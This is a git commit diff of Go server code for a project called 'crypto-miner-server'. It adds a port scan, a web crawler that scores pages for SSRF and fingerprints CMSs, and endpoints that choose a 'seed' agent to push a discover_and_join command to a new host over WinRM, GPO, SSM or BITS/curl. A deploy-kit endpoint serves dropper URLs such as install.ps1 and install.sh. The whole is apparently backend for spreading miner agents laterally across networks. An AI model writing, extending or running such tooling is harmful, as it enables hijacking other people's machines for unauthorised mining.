Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
AetherForge
2026-06-07 11:23:10 -07:00
parent 483eafa9dd
commit f3e5a9a07d
40 changed files with 3091 additions and 4 deletions

View File

@@ -9,6 +9,7 @@ const (
OathCourtL4Decision = "court_l4_decision"
OathSpreadAttempt = "spread_attempt"
OathStrainHospice = "strain_hospice"
OathReconScan = "recon_scan"
OathOutcomeSuccess = "success"
OathOutcomeFail = "fail"

View File

@@ -0,0 +1,215 @@
package api
import (
"encoding/json"
"fmt"
"net/http"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
)
type spreadToHostRequest struct {
Host string `json:"host"`
Finding string `json:"finding"`
BuildID string `json:"build_id"`
Campaign string `json:"campaign"`
JoinLane string `json:"join_lane"`
}
// POST /api/v1/fleet/spread-to-host
// Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop.
func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) {
var req spreadToHostRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Host = strings.TrimSpace(req.Host)
req.Finding = strings.TrimSpace(req.Finding)
req.BuildID = strings.TrimSpace(req.BuildID)
req.Campaign = strings.TrimSpace(req.Campaign)
req.JoinLane = strings.TrimSpace(req.JoinLane)
if req.Host == "" {
http.Error(w, "host required", http.StatusBadRequest)
return
}
matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil))
if !ok {
http.Error(w, "no deploy lane matched finding", http.StatusBadRequest)
return
}
if req.JoinLane != "" {
lane.Lane = normalizeJoinLane(req.JoinLane)
}
agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host)
if found && reachable {
writeJSON(w, map[string]interface{}{
"ok": true,
"host": req.Host,
"agent_id": agentID,
"agent_reachable": true,
"join_lane": lane.Lane,
"matched_service": matched,
"queued": false,
"recommended_command": "discover_and_join",
"operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.",
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
})
return
}
seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane)
commandArgs := map[string]interface{}{
"target_host": req.Host,
"join_lane": lane.Lane,
"matched_service": matched,
}
if req.BuildID != "" {
commandArgs["build_id"] = req.BuildID
}
if req.Campaign != "" {
commandArgs["campaign"] = req.Campaign
}
queued := false
var dispatchErr string
if seedOK && f.ws != nil {
if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil {
dispatchErr = err.Error()
} else {
queued = true
}
}
recommended := fmt.Sprintf(
"Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane",
firstNonEmptySpread(seedName, seedID, "best online agent"),
req.Host,
lane.Lane,
)
writeJSON(w, map[string]interface{}{
"ok": true,
"host": req.Host,
"finding": req.Finding,
"join_lane": lane.Lane,
"matched_service": matched,
"agent_reachable": false,
"agent_found": found,
"seed_agent_id": seedID,
"seed_agent_name": seedName,
"queued": queued,
"dispatch_error": dispatchErr,
"recommended_command": "discover_and_join",
"command_args": commandArgs,
"operator_note": recommended,
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
})
}
func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) {
if database == nil {
return "", false, false
}
agents, err := database.ListAgents()
if err != nil {
return "", false, false
}
host = strings.TrimSpace(strings.ToLower(host))
var match *models.Agent
for _, ag := range agents {
if ag == nil {
continue
}
ip := strings.TrimSpace(strings.ToLower(ag.IP))
if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) {
if match == nil || ag.Status == "online" {
match = ag
}
}
}
if match == nil {
return "", false, false
}
reachable = match.Status == "online"
if hub != nil {
reachable = hub.isAgentConnected(match.ID)
}
return match.ID, reachable, true
}
func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) {
if hub == nil {
return "", "", false
}
subnet := spreadrouter.SubnetFromIP(targetHost)
if subnet != "" {
in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane)
rt := spreadrouter.Build(in)
if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) {
return rec.SeedAgentID, rec.SeedAgentName, true
}
}
// Fallback: lowest-latency connected agent on same /24.
targetSubnet := spreadrouter.NormalizeSubnet(subnet)
var bestID, bestName string
bestLatency := int(^uint(0) >> 1)
hub.mu.RLock()
for id, conn := range hub.agents {
if conn == nil || hub.db == nil {
continue
}
ag, err := hub.db.GetAgent(id)
if err != nil || ag == nil {
continue
}
agSubnet := spreadrouter.SubnetFromIP(ag.IP)
if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet {
continue
}
lat := 9999
if ag.LatencyMs != nil {
lat = *ag.LatencyMs
}
if lat < bestLatency {
bestLatency = lat
bestID = id
bestName = ag.Name
}
}
hub.mu.RUnlock()
if bestID != "" {
return bestID, bestName, true
}
// Last resort: any connected agent.
hub.mu.RLock()
for id := range hub.agents {
if hub.agents[id] != nil {
bestID = id
if hub.db != nil {
if ag, err := hub.db.GetAgent(id); err == nil && ag != nil {
bestName = ag.Name
}
}
break
}
}
hub.mu.RUnlock()
return bestID, bestName, bestID != ""
}
func firstNonEmptySpread(parts ...string) string {
for _, p := range parts {
if strings.TrimSpace(p) != "" {
return p
}
}
return ""
}

View File

@@ -0,0 +1,62 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
)
func TestPostSpreadToHostRecommendsCommand(t *testing.T) {
dir := t.TempDir()
database, err := db.New(dir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
if err := database.UpsertAgent(&models.Agent{
ID: "seed-1", Name: "seed-node", IP: "10.1.2.10", Status: "online", Hostname: "seed",
}); err != nil {
t.Fatal(err)
}
hub := NewWSHub(database)
fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, dir)
body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
rec := httptest.NewRecorder()
fh.PostSpreadToHost(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var out map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
t.Fatal(err)
}
if out["recommended_command"] != "discover_and_join" {
t.Fatalf("recommended_command: %v", out["recommended_command"])
}
if out["join_lane"] != "winrm" {
t.Fatalf("join_lane: %v", out["join_lane"])
}
note, _ := out["operator_note"].(string)
if note == "" {
t.Fatal("expected operator_note")
}
}
func TestPostSpreadToHostRequiresHost(t *testing.T) {
fh := NewFleetHandler(nil, nil, nil, nil, nil, pool.Config{}, t.TempDir())
body, _ := json.Marshal(map[string]string{"finding": "WinRM"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
rec := httptest.NewRecorder()
fh.PostSpreadToHost(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("want 400 got %d", rec.Code)
}
}

View File

@@ -0,0 +1,235 @@
package api
import (
"net/http"
"strings"
"crypto-miner-server/internal/models"
)
// BindDeployPlan wires deploy-plan generation for recon deploy-kit responses.
func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) {
if h == nil {
return
}
h.deployPlan = plan
h.publicURL = publicURL
h.allowlistFn = allowlist
}
type deployKitDropperURLs struct {
GetWindows string `json:"get_windows,omitempty"`
GetLinux string `json:"get_linux,omitempty"`
GetDarwin string `json:"get_darwin,omitempty"`
Get string `json:"get,omitempty"`
InstallPS1 string `json:"install_ps1,omitempty"`
InstallSh string `json:"install_sh,omitempty"`
InstallCmd string `json:"install_command,omitempty"`
}
type deployKitSpreadZIP struct {
Method string `json:"method"`
URL string `json:"url"`
Note string `json:"note,omitempty"`
}
type deployKitSpreadTemplate struct {
Template string `json:"template,omitempty"`
Method string `json:"method"`
URL string `json:"url"`
}
// GET /api/v1/recon/deploy-kit?host=&finding=
func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
host := strings.TrimSpace(r.URL.Query().Get("host"))
finding := strings.TrimSpace(r.URL.Query().Get("finding"))
if host == "" {
http.Error(w, "host query param required", http.StatusBadRequest)
return
}
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
if serverURL == "" {
serverURL = "http://127.0.0.1:8989"
}
matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist())
if !ok {
writeJSON(w, map[string]interface{}{
"ok": false,
"host": host,
"finding": finding,
"error": "no deploy lane matched finding",
})
return
}
agentID, agentReachable, agentFound := h.matchAgentForHost(host)
buildID, campaign := "", ""
if h.db != nil {
if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil {
buildID = b.ID
}
}
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
dropper := deployKitDropperURLs{
Get: serverURL + "/get" + querySuffix,
GetWindows: serverURL + "/get?os=windows" + getQuerySuffix,
GetLinux: serverURL + "/get?os=linux" + getQuerySuffix,
GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix,
InstallPS1: serverURL + "/install.ps1" + querySuffix,
InstallSh: serverURL + "/install.sh" + querySuffix,
InstallCmd: serverURL + "/install.command" + querySuffix,
}
resp := map[string]interface{}{
"ok": true,
"host": host,
"finding": finding,
"join_lane": lane.Lane,
"matched_service": matched,
"agent_reachable": agentReachable,
"agent_found": agentFound,
"dropper_urls": dropper,
"spread_kit_zip": deployKitSpreadZIP{
Method: "POST",
URL: "/api/v1/builder/spread-kit-export",
Note: "Body: { server_url, build_id?, campaign? }",
},
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread",
}
if agentID != "" {
resp["agent_id"] = agentID
}
if tpl := strings.TrimSpace(lane.Template); tpl != "" {
resp["spread_template"] = deployKitSpreadTemplate{
Template: tpl,
Method: "POST",
URL: "/api/v1/builder/spread-template-export",
}
}
if h.deployPlan != nil {
req := deployPlanRequest{
BuildID: buildID,
Campaign: campaign,
Platform: platformForReconHost(host, lane.Lane),
Services: []DeployServiceFinding{{Name: matched, Status: "running"}},
}
if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil {
resp["deploy_plan_template"] = plan
}
}
if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") {
if h.deployPlan != nil {
if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{
BuildID: buildID, Campaign: campaign, Platform: "linux",
}, serverURL); err == nil {
resp["ssm_bundle"] = bundle
}
}
}
writeJSON(w, resp)
}
func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane {
if h.allowlistFn != nil {
return NormalizeServiceDeployAllowlist(h.allowlistFn())
}
return NormalizeServiceDeployAllowlist(nil)
}
func resolveSpreadServerURL(h *SpreadHandler) string {
if h.publicURL != nil {
return h.publicURL()
}
return ""
}
func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
finding = strings.TrimSpace(finding)
allowlist = NormalizeServiceDeployAllowlist(allowlist)
if finding == "" {
return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true
}
lower := strings.ToLower(finding)
if strings.Contains(lower, "ssm") {
return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true
}
normalized := normalizeJoinLane(finding)
for _, entry := range allowlist {
if entry.Lane == normalized {
return finding, entry, true
}
}
if normalized != "" && normalized != finding {
return finding, ServiceDeployLane{Lane: normalized}, true
}
matched, lane, ok = PickDeployLane([]DeployServiceFinding{
{Name: finding, Status: "running"},
}, allowlist)
if ok {
return matched, lane, true
}
// Case-insensitive service alias (e.g. winrm → WinRM)
for name, entry := range allowlist {
if strings.EqualFold(name, finding) {
return name, entry, true
}
}
return "", ServiceDeployLane{}, false
}
func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) {
host = strings.TrimSpace(strings.ToLower(host))
if host == "" || h.db == nil {
return "", false, false
}
agents, err := h.db.ListAgents()
if err != nil {
return "", false, false
}
var match *models.Agent
for _, ag := range agents {
if ag == nil {
continue
}
ip := strings.TrimSpace(strings.ToLower(ag.IP))
name := strings.TrimSpace(strings.ToLower(ag.Name))
hostname := strings.TrimSpace(strings.ToLower(ag.Hostname))
if ip == host || name == host || hostname == host {
if match == nil || ag.Status == "online" {
match = ag
}
}
}
if match == nil {
return "", false, false
}
reachable = match.Status == "online"
if h.wsHub != nil {
reachable = h.wsHub.isAgentConnected(match.ID)
}
return match.ID, reachable, true
}
func platformForReconHost(host, lane string) string {
if strings.Contains(lane, "linux") {
return "linux"
}
// Heuristic: RFC1918 host with no agent — default windows for LAN spread.
_ = host
return "windows"
}
func urlQueryEscape(s string) string {
return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23")
}

View File

@@ -0,0 +1,110 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func testReconSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler) {
t.Helper()
dir := t.TempDir()
root := t.TempDir()
writeSpreadTemplates(t, root)
artifact := filepath.Join(dir, "worker.exe")
if err := os.WriteFile(artifact, []byte("recon-kit-payload"), 0644); err != nil {
t.Fatal(err)
}
database, err := db.New(dir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
if err := database.InsertBuild(&models.BuildRecord{
ID: "build-recon", WorkerName: "recon-worker", Platform: "windows",
FilePath: artifact, Pinned: true,
}); err != nil {
t.Fatal(err)
}
deployH := NewDeployPlanHandler(database, dir, root,
func() string { return "https://deck.example" },
func() string { return "fleet-secret" },
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
)
spreadH := NewSpreadHandler(database, dir, root, nil)
spreadH.BindDeployPlan(deployH, func() string { return "https://deck.example" }, func() map[string]ServiceDeployLane {
return NormalizeServiceDeployAllowlist(nil)
})
return spreadH, deployH
}
func TestGetDeployKitWinRM(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var out map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
t.Fatal(err)
}
if out["join_lane"] != "winrm" {
t.Fatalf("join_lane: %v", out["join_lane"])
}
dropper, ok := out["dropper_urls"].(map[string]interface{})
if !ok || dropper["install_ps1"] == "" {
t.Fatalf("dropper_urls: %v", out["dropper_urls"])
}
if out["spread_kit_zip"] == nil {
t.Fatal("expected spread_kit_zip")
}
if out["deploy_plan_template"] == nil {
t.Fatal("expected deploy_plan_template")
}
}
func TestGetDeployKitSSM(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.99&finding=ssm", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var out map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
t.Fatal(err)
}
if out["join_lane"] != "ssm_document" {
t.Fatalf("join_lane: %v", out["join_lane"])
}
}
func TestGetDeployKitRequiresHost(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?finding=WinRM", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("want 400 got %d", rec.Code)
}
}
func TestResolveReconFinding(t *testing.T) {
matched, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil))
if !ok || lane.Lane != "gpo" {
t.Fatalf("gpsvc → gpo: matched=%q lane=%q ok=%v", matched, lane.Lane, ok)
}
_, lane, ok = resolveReconFinding("", NormalizeServiceDeployAllowlist(nil))
if !ok || lane.Lane != "bits_curl" {
t.Fatalf("empty finding default: %v", lane.Lane)
}
}

View File

@@ -0,0 +1,92 @@
package api
import (
"encoding/json"
"net/http"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/recon"
)
// ReconHandler serves owned-target browser deploy recon.
type ReconHandler struct {
db *dbpkg.Database
wsHub *WSHub
}
func NewReconHandler(database *dbpkg.Database, hub *WSHub) *ReconHandler {
return &ReconHandler{db: database, wsHub: hub}
}
// POST /api/v1/recon/scan
func (h *ReconHandler) Scan(w http.ResponseWriter, r *http.Request) {
var req recon.ScanRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Host = strings.TrimSpace(req.Host)
if req.Host == "" {
http.Error(w, "host required", http.StatusBadRequest)
return
}
report, err := recon.Scan(req)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
if h != nil && h.db != nil {
payload := map[string]interface{}{
"host": report.Host,
"open_ports": openPortList(report.Ports),
"ssrf_score": crawlSSRFScore(report.Crawl),
"recommendations": len(report.Recommendations),
"cms_fingerprints": crawlCMS(report.Crawl),
}
_ = (&OathLedgerBridge{DB: h.db, Hub: oathHub(h)}).Record(
AuthUsername(r),
dbpkg.OathReconScan,
"",
"",
dbpkg.OathOutcomeSuccess,
map[string]string{"host": report.Host},
payload,
)
}
writeJSON(w, report)
}
func oathHub(h *ReconHandler) *WSHub {
if h == nil {
return nil
}
return h.wsHub
}
func openPortList(ports []recon.PortResult) []int {
var out []int
for _, p := range ports {
if p.Open {
out = append(out, p.Port)
}
}
return out
}
func crawlSSRFScore(c *recon.CrawlReport) int {
if c == nil {
return 0
}
return c.SSRFScore
}
func crawlCMS(c *recon.CrawlReport) []string {
if c == nil {
return nil
}
return c.CMSFingerprints
}

View File

@@ -0,0 +1,67 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/recon"
)
func TestReconScanEndpoint(t *testing.T) {
recon.SetPortDialHook(func(host string, port int, _ time.Duration) bool {
return port == 80
})
t.Cleanup(func() { recon.SetPortDialHook(nil) })
recon.SetFetchPageHook(func(rawURL string) (int, string, error) {
return 200, `<html><form enctype="multipart/form-data"><input type="text" name="preview_url"><input type="file" name="payload"></form></html>`, nil
})
t.Cleanup(func() { recon.SetFetchPageHook(nil) })
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
h := NewReconHandler(database, nil)
body, _ := json.Marshal(map[string]interface{}{
"host": "recon.lab",
"port": 80,
"scheme": "http",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader(body))
w := httptest.NewRecorder()
h.Scan(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
}
var report recon.ScanReport
if err := json.Unmarshal(w.Body.Bytes(), &report); err != nil {
t.Fatal(err)
}
if report.Host != "recon.lab" || report.Crawl == nil || len(report.Recommendations) == 0 {
t.Fatalf("report=%+v", report)
}
rows, err := database.ListOathLedger(5)
if err != nil {
t.Fatal(err)
}
if len(rows) == 0 || rows[0].ActionType != db.OathReconScan {
t.Fatalf("oath rows=%+v", rows)
}
}
func TestReconScanRequiresHost(t *testing.T) {
h := NewReconHandler(nil, nil)
req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader([]byte(`{}`)))
w := httptest.NewRecorder()
h.Scan(w, req)
if w.Code != http.StatusBadRequest {
t.Fatalf("status=%d", w.Code)
}
}

View File

@@ -552,6 +552,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
vulnHandler := NewVulnHandler()
r.Get("/vuln/catalog", vulnHandler.Catalog)
reconHandler := NewReconHandler(database, wsHub)
r.Post("/recon/scan", reconHandler.Scan)
// Agents
r.Get("/agents", h.ListAgents)
r.Get("/agents/{id}", h.GetAgent)
@@ -595,6 +598,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice)
r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice)
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
r.Post("/fleet/spread-to-host", fleetHandler.PostSpreadToHost)
}
if fleetAIHandler != nil {
r.Get("/ai/models", fleetAIHandler.GetModels)
@@ -665,6 +669,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
r.Get("/recon/deploy-kit", spreadHandler.GetDeployKit)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)

View File

@@ -26,6 +26,7 @@ type SpreadHandler struct {
publicURL func() string
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
allowlistFn func() map[string]ServiceDeployLane
policyPathTracer *PathTracerHandler
policyFanoutCfgFn func() PolicyFanoutConfig
notesMu sync.RWMutex

View File

@@ -16,6 +16,7 @@ const (
OathCourtL4Decision = "court_l4_decision"
OathSpreadAttempt = "spread_attempt"
OathStrainHospice = "strain_hospice"
OathReconScan = "recon_scan"
)
// Oath outcomes.

View File

@@ -0,0 +1,235 @@
package recon
import (
"fmt"
"net/http"
"net/url"
"strings"
)
const maxHTMLBytes = 512 * 1024
// fetchPageFn overrides HTTP fetches in tests (nil = live GET from server host).
var fetchPageFn func(rawURL string) (status int, body string, err error)
// Crawl fetches seed URL and same-origin linked paths up to depth and maxPages.
func Crawl(host string, port int, scheme string, seedPaths []string) (*CrawlReport, error) {
scheme = normalizeScheme(scheme, port)
if port <= 0 {
port = defaultPortForScheme(scheme)
}
base := fmt.Sprintf("%s://%s", scheme, joinHostPort(host, port))
seeds := seedPaths
if len(seeds) == 0 {
seeds = []string{"/"}
}
report := &CrawlReport{}
visited := map[string]bool{}
queue := []queuedURL{}
for _, p := range seeds {
abs, err := resolveSameOrigin(base, p)
if err != nil {
continue
}
queue = append(queue, queuedURL{url: abs, depth: 0})
}
for len(queue) > 0 && report.PagesFetched < DefaultCrawlMaxPages {
item := queue[0]
queue = queue[1:]
key := normalizeURLKey(item.url)
if visited[key] {
continue
}
visited[key] = true
status, body, err := fetchPage(item.url)
if err != nil {
continue
}
report.PagesFetched++
title := ""
if root, err := htmlParseTitle(body); err == nil {
title = root
}
report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title})
files, multi, fields, pageScore, cms := ParseHTML(item.url, body)
report.FileInputs = append(report.FileInputs, files...)
report.MultipartForms = append(report.MultipartForms, multi...)
report.URLFields = append(report.URLFields, fields...)
report.SSRFScore += pageScore
report.CMSFingerprints = mergeCMS(report.CMSFingerprints, cms)
if item.depth >= DefaultCrawlDepth {
continue
}
for _, link := range extractLinks(body) {
abs, err := resolveSameOrigin(base, link)
if err != nil {
continue
}
if !sameOrigin(base, abs) {
continue
}
lkey := normalizeURLKey(abs)
if !visited[lkey] {
queue = append(queue, queuedURL{url: abs, depth: item.depth + 1})
}
}
}
if report.SSRFScore > 100 {
report.SSRFScore = 100
}
report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints)
return report, nil
}
type queuedURL struct {
url string
depth int
}
func fetchPage(rawURL string) (int, string, error) {
if fetchPageFn != nil {
return fetchPageFn(rawURL)
}
client := &http.Client{Timeout: DefaultPortDialTimeout}
req, err := http.NewRequest(http.MethodGet, rawURL, nil)
if err != nil {
return 0, "", err
}
req.Header.Set("User-Agent", "AetherForge-Recon/1.0")
resp, err := client.Do(req)
if err != nil {
return 0, "", err
}
defer resp.Body.Close()
body, err := readBodyLimited(resp.Body, maxHTMLBytes)
if err != nil {
return resp.StatusCode, "", err
}
return resp.StatusCode, body, nil
}
func normalizeScheme(scheme string, port int) string {
scheme = strings.ToLower(strings.TrimSpace(scheme))
switch scheme {
case "http", "https":
return scheme
}
if port == 443 || port == 8443 {
return "https"
}
return "http"
}
func defaultPortForScheme(scheme string) int {
if scheme == "https" {
return 443
}
return 80
}
func joinHostPort(host string, port int) string {
if strings.Contains(host, ":") {
return host
}
return fmt.Sprintf("%s:%d", host, port)
}
func resolveSameOrigin(base, ref string) (string, error) {
baseURL, err := url.Parse(base)
if err != nil {
return "", err
}
ref = strings.TrimSpace(ref)
if ref == "" {
return baseURL.String(), nil
}
refURL, err := url.Parse(ref)
if err != nil {
return "", err
}
return baseURL.ResolveReference(refURL).String(), nil
}
func sameOrigin(base, target string) bool {
b, err := url.Parse(base)
if err != nil {
return false
}
t, err := url.Parse(target)
if err != nil {
return false
}
return strings.EqualFold(b.Scheme, t.Scheme) &&
strings.EqualFold(b.Hostname(), t.Hostname()) &&
b.Port() == t.Port()
}
func normalizeURLKey(raw string) string {
u, err := url.Parse(raw)
if err != nil {
return strings.ToLower(strings.TrimSpace(raw))
}
u.Fragment = ""
return strings.ToLower(u.String())
}
func extractLinks(body string) []string {
root, err := htmlParseRoot(body)
if err != nil {
return nil
}
var links []string
var walk func(*htmlNode)
walk = func(n *htmlNode) {
if n.tag == "a" {
if href := n.attr("href"); href != "" && !strings.HasPrefix(strings.ToLower(href), "javascript:") {
links = append(links, href)
}
}
for _, c := range n.children {
walk(c)
}
}
walk(root)
return links
}
func mergeCMS(existing, add []string) []string {
seen := map[string]bool{}
for _, tag := range existing {
seen[tag] = true
}
var out []string
out = append(out, existing...)
for _, tag := range add {
if tag == "" || seen[tag] {
continue
}
seen[tag] = true
out = append(out, tag)
}
return out
}
// htmlParseRoot and htmlParseTitle are thin wrappers to avoid exporting html types in tests.
func htmlParseRoot(body string) (*htmlNode, error) {
root, err := parseHTMLTree(body)
if err != nil {
return nil, err
}
return toHTMLNode(root), nil
}
func htmlParseTitle(body string) (string, error) {
root, err := parseHTMLTree(body)
if err != nil {
return "", err
}
return extractTitle(root), nil
}

View File

@@ -0,0 +1,13 @@
package recon
import "time"
// SetPortDialHook installs a test hook for TCP dials; pass nil to restore live dials.
func SetPortDialHook(fn func(host string, port int, timeout time.Duration) bool) {
dialPortFn = fn
}
// SetFetchPageHook installs a test hook for HTTP fetches; pass nil to restore live GETs.
func SetFetchPageHook(fn func(rawURL string) (status int, body string, err error)) {
fetchPageFn = fn
}

View File

@@ -0,0 +1,40 @@
package recon
import (
"strings"
"golang.org/x/net/html"
)
type htmlNode struct {
tag string
attrs map[string]string
children []*htmlNode
}
func (n *htmlNode) attr(key string) string {
if n == nil || n.attrs == nil {
return ""
}
return n.attrs[key]
}
func parseHTMLTree(body string) (*html.Node, error) {
return html.Parse(strings.NewReader(body))
}
func toHTMLNode(n *html.Node) *htmlNode {
if n == nil {
return nil
}
out := &htmlNode{tag: n.Data, attrs: map[string]string{}}
for _, a := range n.Attr {
out.attrs[a.Key] = a.Val
}
for c := n.FirstChild; c != nil; c = c.NextSibling {
if child := toHTMLNode(c); child != nil {
out.children = append(out.children, child)
}
}
return out
}

View File

@@ -0,0 +1,219 @@
package recon
import (
"bytes"
"io"
"strings"
"golang.org/x/net/html"
)
var urlFieldHints = []string{
"url", "link", "preview", "webhook", "fetch", "import", "oembed", "image",
}
var cmsPathMarkers = []struct {
path string
tag string
}{
{"/wp-admin", "wordpress"},
{"/wp-content", "wordpress"},
{"/strapi", "strapi"},
{"/graphql", "graphql"},
{"/admin/login", "admin_login"},
}
// ParseHTML extracts upload forms, URL fields, SSRF score, and CMS hints from HTML.
func ParseHTML(pageURL, body string) (fileInputs, multipart []FormFinding, urlFields []URLFieldFinding, ssrfScore int, cms []string) {
root, err := html.Parse(strings.NewReader(body))
if err != nil {
return nil, nil, nil, 0, cmsFromText(pageURL, body)
}
title := extractTitle(root)
_ = title
var walk func(*html.Node)
walk = func(n *html.Node) {
if n.Type == html.ElementNode && n.Data == "form" {
form := parseForm(pageURL, n)
if form.HasFile {
fileInputs = append(fileInputs, form)
}
if form.Multipart {
multipart = append(multipart, form)
}
ssrfScore += scoreForm(form)
}
if n.Type == html.ElementNode && n.Data == "input" {
if field := parseURLField(pageURL, n); field != nil {
urlFields = append(urlFields, *field)
ssrfScore += 10
}
}
if n.Type == html.ElementNode && (n.Data == "textarea" || n.Data == "select") {
if field := parseURLFieldFromNamed(pageURL, attr(n, "name"), attr(n, "id"), attr(n, "placeholder")); field != nil {
urlFields = append(urlFields, *field)
ssrfScore += 8
}
}
for c := n.FirstChild; c != nil; c = c.NextSibling {
walk(c)
}
}
walk(root)
